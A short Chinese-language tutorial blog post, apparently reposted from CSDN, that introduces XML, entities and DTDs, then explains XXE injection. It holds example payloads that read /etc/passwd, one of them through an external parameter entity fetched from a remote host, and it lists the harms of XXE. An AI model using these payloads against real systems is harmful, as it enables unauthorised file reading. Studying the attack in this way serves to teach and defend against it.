XXE漏洞——xml外部实体注入XXE
其他
2020-03-21 13:50:49
阅读次数: 0
XXE:
- XXE全称XML External Entity Injection,也就是XML外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题。
- 要了解XXE,就必须懂得XML的一些规则。
- XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
- XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
XML:
- XML是The Extensible Markup Language(可扩展标识语言)的简写。
- XML最初的目的是弥补HTML的不足,后来逐渐用于网络数据的转换和描述。
- XML的设计宗旨是传输数据,不是显示数据。
- XML在web中的应用已十分广泛。XML是各种应用程序之间数据传输最常用的工具。
xml实体(ENTITY):
- 在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。
- 根据实体的来源我们可以分为内部实体和外部实体。
- XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。
- 定义好的ENTITY在文档中通过“&实体名;”来使用。
DTD:
- DTD(Documnet Type Definition):
|
- 即文档类型定义,是一种XML约束模式语言,属于XML文件组成的一部分。
|
|
- 1.内部DTD文档
- <!DOCTYPE 根元素[定义内容]>
- 2.外部DTD文档
- <!DOCTYPE 根元素 SYSTEM "DTD文件路径">
- 3.内外部DTD文档结合
- <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
|
|
- 数据库表结构与数据记录。
- 每个XML文件可以携带一个自身格式的描述。
- 不同组织的人可以使用一个通用DTD来交换数据。
- 应用程序可以使用一个标准DTD校验从外部世界接收来的XML数据是否有效。
|
普通实体引入外部实体
|
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE test [
- <!ENTITY xxe SYSTEM "file:///etc/passwd">
- ]>
- <test>&xxe;</test>
|
引入外部参数实体outdtd.dtd文件:
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE % test[
- <!ENTITY % a SYSTEM “http://www.test.com/outdtd.dtd">
- % a;]>
- <test>&xxe;</test>
- outdtd.dtd
- <!ENTITY xxe SYSTEM "file:///etc/passwd">
|
XXE危害
1:读取任意文件。 |
2:URL请求。 |
3: Dos拒绝服务。递归调用,占用大量服务器资源。 |
发布了45 篇原创文章 ·
获赞 145 ·
访问量 5467
转载自blog.csdn.net/cldimd/article/details/105008367